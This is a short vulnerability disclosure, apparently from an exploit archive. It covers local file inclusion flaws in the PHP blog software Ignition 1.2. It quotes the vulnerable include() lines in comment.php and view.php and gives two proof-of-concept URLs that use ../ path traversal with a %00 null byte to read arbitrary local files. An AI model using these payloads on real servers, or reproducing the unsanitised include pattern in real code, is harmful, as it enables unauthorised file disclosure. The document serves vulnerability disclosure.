31 lines
No EOL
821 B
Text
31 lines
No EOL
821 B
Text
Ignition 1.2 Multiple Local File Inclusion Vulnerabilities
|
|
disclosed by cOndemned
|
|
download: http://launchpadlibrarian.net/27567060/ignition_1.2.zip
|
|
note: magic_quotes_gpc should be turned off in order to exploit this vulnerability
|
|
greetz: all friends, SecurityReason team :)
|
|
|
|
|
|
comment.php
|
|
|
|
1. <?php
|
|
2. session_start();
|
|
3. require ('settings.php');
|
|
4. include ('posts/'.$_GET['blog'].'.txt'); # [1]
|
|
5. ?>
|
|
|
|
|
|
view.php
|
|
|
|
1. <?php
|
|
2. session_start();
|
|
3. require ('settings.php');
|
|
4. $blog = $_GET['blog'];
|
|
5. if (file_exists('posts/'.$_GET['blog'].'.txt')) {
|
|
6. include ('posts/'.$_GET['blog'].'.txt'); # [2]
|
|
7. }else{
|
|
|
|
|
|
proof of concept:
|
|
|
|
[1] http://[attacked_box]/[ignition1.2]/comment.php?blog=../../../../[local_file]%00
|
|
[2] http://[attacked_box]/[ignition1.2]/view.php?blog=../../../../../[local_file]%00 |